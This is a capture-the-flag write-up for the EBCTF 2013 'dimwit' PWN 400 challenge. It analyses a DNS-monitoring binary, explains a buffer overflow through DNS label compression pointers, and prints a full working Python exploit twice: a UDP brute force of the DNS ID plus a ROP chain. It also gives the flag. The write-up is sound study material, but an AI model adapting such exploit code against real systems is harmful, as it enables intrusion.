EBCTF 2013: Clownstorage.net - dimwit - PWN 400
Score 400
Link http://ebctf.nl/files/8210c7065a7ac809297deec98f83e4f6/dimwit
We found a strange binary that appears to be doing DNS queries for
clownstorage.net, can you break in and gain access to the flag? The server
is running on 54.217.6.47 port 50001
The binary is an ELF 64-bit, dynamically linked and not stripped. When first connecting to the address given we receive something like:
$ nc 54.217.6.47
____ _ _____ ___ _ ____ _____ ___ ____ _ ____ _____
/ ___| | / _ \ \ / / \ | / ___|_ _/ _ \| _ \ / \ / ___| ____|
| | | | | | | \ \ /\ / /| \| \___ \ | || | | | |_) | / _ \| | _| _|
| |___| |__| |_| |\ V V / | |\ |___) || || |_| | _ < / ___ \ |_| | |___ _
\____|_____\___/ \_/\_/ |_| \_|____/ |_| \___/|_| \_\/_/ \_\____|_____(_)
_ _ _____ _____
| \ | | ____|_ _|
| \| | _| | |
| |\ | |___ | |
|_| \_|_____| |_|
Doritos Infrastructure Monitor Warning Information Techinology
[INFO] resolving clownstorage.net
[INFO] binding socket
[WARNING] binding to port 53 failed, trying 6140 instead
[INFO] socket bound
[TEST_FAILED] dns timeout
Because the binary was not stripped, it was quite easy to understand what it does. It
first checks that the file flag
exists, then it opens a connection on the port 50001,
accepts and forks.
When a connection is received, it does a dup2
between the standard output and the
socket file descriptor. Then it calls a function named read_motd
which
takes the name of a file, reads it, writes it to the standard output, and finally
calls the function do_nameserver_test
.
The function do_nameserver_test
tries to create an udp_socket
, first on the port
53 (which fails each time) and then on a random port. Thankfully, we have a warning
telling us on which port it is bound. When the socket is created it sends a
DNS request, then setups a handler for the signal SIGALARM
which prints:
"[TEST_FAILED] dns timeout"
and exits. It then enters in the loop:
while (!query_received) // query_received is a global variable initialize to 0
{
alarm(5); // if in 5s we have not finish launch a SIGALARM
receive_dns(fd); // the name is explicit
}
puts("[TEST_OK] nameserver up");
fflush(stdin);
Because the alarm is quite anoying if you want to debug, I personally nop it to avoid problems when debugging.
Now we have a global overview of what our programm does, the goal will be to
exploit the function receive_dns
in order to gain code execution. Here is the
begin of the code to get the first information:
import socket
import struct
#PROFILE = 'local'
PROFILE = 'remote'
if PROFILE == 'local':
HOST = 'localhost'
elif PROFILE == 'remote':
HOST = '54.217.6.47'
PORT = 50001
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
def _recv_tcp(l):
if isinstance(l, str):
l = len(l)
r = s.recv(l)
if r:
print('Recv:', repr(r))
return r
_recv_tcp(' ____ _ _____ ___ _ ____ _____ ___ ____ _ ____ _____ \n / ___| | / _ \\ \\ / / \\ | / ___|_ _/ _ \\| _ \\ / \\ / ___| ____| \n| | | | | | | \\ \\ /\\ / /| \\| \\___ \\ | || | | | |_) | / _ \\| | _| _| \n| |___| |__| |_| |\\ V V / | |\\ |___) || || |_| | _ < / ___ \\ |_| | |___ _ \n \\____|_____\\___/ \\_/\\_/ |_| \\_|____/ |_| \\___/|_| \\_\\/_/ \\_\\____|_____(_)\n \n _ _ _____ _____ \n| \\ | | ____|_ _|\n| \\| | _| | | \n| |\\ | |___ | | \n|_| \\_|_____| |_| \n\nDoritos Infrastructure Monitor Warning Information Techinology\n\n')
_recv_tcp('[INFO] resolving clownstorage.net\n')
_recv_tcp('[INFO] binding socket\n')
r = _recv_tcp('[WARNING] binding to port 53 failed, trying 33501 instead\n')
_recv_tcp('[INFO] socket bound')
UDP_PORT = int(r.split()[7])
print("UDP_PORT = ", UDP_PORT)
So now lets get a look into receive_dns
.
The function receives a size of 0x200 and puts it in a buffer of the same size. It then begins to check if the received data is correct. The DNS header looks like this:
The program do some checks, first on the flags, then it checks the ID. Passing the test on the different flags is not hard, but we have a problem with the ID. We don’t know which ID is use because we don’t get the request that the program sends. But, it is on 16 bits, so we can simply bruteforce it by sending our data with all the possible IDs.
The function then does a loop for skipping the requests that may be contained in the answer:
it iterates for the number in the "qdcount"
and reads the size
of each labelname
(using the function labelname_len
) and skip them. We have
no interest in this part: we can just put qdcount
to 0. It will then loop on the
answer for "ancount"
time, copy the label and check if he has a valid answer and
then returns. The following code sends the answer to the program:
def _send_udp(st, end=b''):
if isinstance(st, str):
st = bytes(st, 'utf-8')
st += end
print('Send:', repr(st))
return sock.sendto(st, (HOST, UDP_PORT))
# here we will put flag to 0b0000000010000000 and qdcount to 0
def _send_dns(flag, qdcount, ancount, msg, end):
FLAG = struct.pack("<H", flag)
QDCOUNT = struct.pack("<H", qdcount)
ANCOUNT = struct.pack("<H", ancount)
NSCOUNT = struct.pack("<H", 0)
ARCOUNT = struct.pack("<H", 0)
for i in range(65536):
ID = struct.pack("<H", i)
_send_udp(ID + FLAG + QDCOUNT + ANCOUNT + NSCOUNT + ARCOUNT + msg + end)
A label in the DNS protocol is defined as different parts: it begins by a size
(which, in this implementation, should be inferior to 0x3f) and then followed by the
characters.
The vulnerability is in the copy_from_labelname
function:
void copy_from_labelname(char *dst, char *src, int pos, int max)
{
int i = 0;
int t;
while (src[pos] != 0)
{
if (pos >= max)
{
puts('[ABORTING] truncated packet');
fflush(stdout);
abort();
}
if (src[pos] < 0x3f)
{
if (src[pos] + pos + 1 > max)
{
puts('[ABORTING] truncated packet');
fflush(stdout);
abort();
}
memcpy(dst + i, src + pos + i, src[pos]);
i += src[pos];
dst[i] = '.';
i++;
pos += src[pos];
}
else if (src[pos] <= 0xbf)
{
puts('[ABORTING] bad packet');
fflush(stdout);
abort();
}
else
{
// HERE is a particular case where is the vuln
t = ror(((short *)src)[pos / 2], 8) & 0x3fff;
if (max - 1 > pos && t < max && t < pos)
pos = t;
else
{
puts('[ABORTING] ...');
fflush(stdout);
abort();
}
}
}
dst[i] = 0;
}
The parameter max
given to this function is the size returned by the recv
function, the dst
buffer is a buffer of size 0x200. This function seems to be
valid because, like the destination buffer, it is the same size as
the buffer src
, so we can not override it. The problem is in the else of the function:
we can reset the position and then write more in the destination buffer, this
will allow us to trigger a buffer overflow and then to rop.
Once we have our buffer overflow, the ROP is quite simple: we will call the
function read_motd
, this takes one argument: the address of the string "flag"
, which
is already in the binary.
Because we are in x86_64, we will need one gadget to put the address of the string "flag"
in the rdi
register.
The gadget I use is simple:
mov edi, dword [rsp+0x30]
add rsp, 0x38
ret
I used the tools developped by 0vercl0k (https://github.com/0vercl0k/rp) for finding this gadget.
Here is the final part of the exploit:
# this will serv for the padding
bytesa = b'\x3e' + 0x3e*b'a'
bytesc = b'\x38' + 0x38*b'c'
# here we exploit the problem of the function
retu = b'\x33' + b'\x34' + b'\x35' + b'\x36' + b'\x37' + b'\x38' + b'\x39' + 0x2d*b'a' + b'\xc0\x0d' + b'\xc0\x0e' + b'\xc0\x0f' + b'\xc0\x10' + b'\xc0\x11' + b'\xc0\x12'
#\xc0 permet to be in the particular case, the second element permet to say
# the position in the buffer where we will set the pos.
ADDR_READ_MOTD = struct.pack("<Q", 0x401360) # the address of the function
ADDR_FLAG = struct.pack("<Q", 0x40183b) # the address of the string
ADDR_PIVOT = struct.pack("<Q", 0x401500) # the address of the gadget
PADD = retu + 2 * bytesa + bytesc # just some padding
# the 8*b'a' are the padding because of the add rsp, 0x38
SEND1 = PADD + b'\x28' + ADDR_PIVOT + 8*b'a' + 8*b'a' + 8*b'a' + 8*b'a'
SEND2 = b'\x38' + 7*b'a'+ 8*b'a' + ADDR_FLAG + ADDR_READ_MOTD + 0x19*b'x' + b'\x00'
SEND = SEND1 + SEND2
_send_dns(0b0000000010000000, 0, 1, SEND, b"a")
# Here we recv the answer
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
Here is the complete exploit:
import socket
import struct
#PROFILE = 'local'
PROFILE = 'remote'
if PROFILE == 'local':
HOST = 'localhost'
elif PROFILE == 'remote':
HOST = '54.217.6.47'
PORT = 50001
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
def _send_udp(st, end=b''):
if isinstance(st, str):
st = bytes(st, 'utf-8')
st += end
print('Send:', repr(st))
return sock.sendto(st, (HOST, UDP_PORT))
def _recv_tcp(l):
if isinstance(l, str):
l = len(l)
r = s.recv(l)
if r:
print('Recv:', repr(r))
return r
def _send_dns(flag, qdcount, ancount, msg, end):
FLAG = struct.pack("<H", flag)
QDCOUNT = struct.pack("<H", qdcount)
ANCOUNT = struct.pack("<H", ancount)
NSCOUNT = struct.pack("<H", 0)
ARCOUNT = struct.pack("<H", 0)
for i in range(65536):
ID = struct.pack("<H", i)
_send_udp(ID + FLAG + QDCOUNT + ANCOUNT + NSCOUNT + ARCOUNT + msg + end)
_recv_tcp(' ____ _ _____ ___ _ ____ _____ ___ ____ _ ____ _____ \n / ___| | / _ \\ \\ / / \\ | / ___|_ _/ _ \\| _ \\ / \\ / ___| ____| \n| | | | | | | \\ \\ /\\ / /| \\| \\___ \\ | || | | | |_) | / _ \\| | _| _| \n| |___| |__| |_| |\\ V V / | |\\ |___) || || |_| | _ < / ___ \\ |_| | |___ _ \n \\____|_____\\___/ \\_/\\_/ |_| \\_|____/ |_| \\___/|_| \\_\\/_/ \\_\\____|_____(_)\n \n _ _ _____ _____ \n| \\ | | ____|_ _|\n| \\| | _| | | \n| |\\ | |___ | | \n|_| \\_|_____| |_| \n\nDoritos Infrastructure Monitor Warning Information Techinology\n\n')
_recv_tcp('[INFO] resolving clownstorage.net\n')
_recv_tcp('[INFO] binding socket\n')
r = _recv_tcp('[WARNING] binding to port 53 failed, trying 33501 instead\n')
_recv_tcp('[INFO] socket bound')
UDP_PORT = int(r.split()[7])
print("UDP_PORT = ", UDP_PORT)
bytesa = b'\x3e' + 0x3e*b'a'
bytesb = b'\x33' + 0x33*b'b'
bytesc = b'\x38' + 0x38*b'c'
pading = b'\x0b' + 0xb*b'a'
retu = b'\x33' + b'\x34' + b'\x35' + b'\x36' + b'\x37' + b'\x38' + b'\x39' + 0x2d*b'a' + b'\xc0\x0d' + b'\xc0\x0e' + b'\xc0\x0f' + b'\xc0\x10' + b'\xc0\x11' + b'\xc0\x12'
ADDR_READ_MOTD = struct.pack("<Q", 0x401360)
ADDR_FLAG = struct.pack("<Q", 0x40183b)
ADDR_PIVOT = struct.pack("<Q", 0x401500)
PADD = retu + 2 * bytesa + bytesc
SEND1 = PADD + b'\x28' + ADDR_PIVOT + 8*b'a' + 8*b'a' + 8*b'a' + 8*b'a'
SEND2 = b'\x38' + 7*b'a'+ 8*b'a' + ADDR_FLAG + ADDR_READ_MOTD + 0x19*b'a' + b'\x00'
SEND = SEND1 + SEND2
_send_dns(0b0000000010000000, 0, 1, SEND, b"a")
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
_recv_tcp(1024)
The flag was: ebctf{c0fa2ef42705a3092cbec827e1777cd5}
.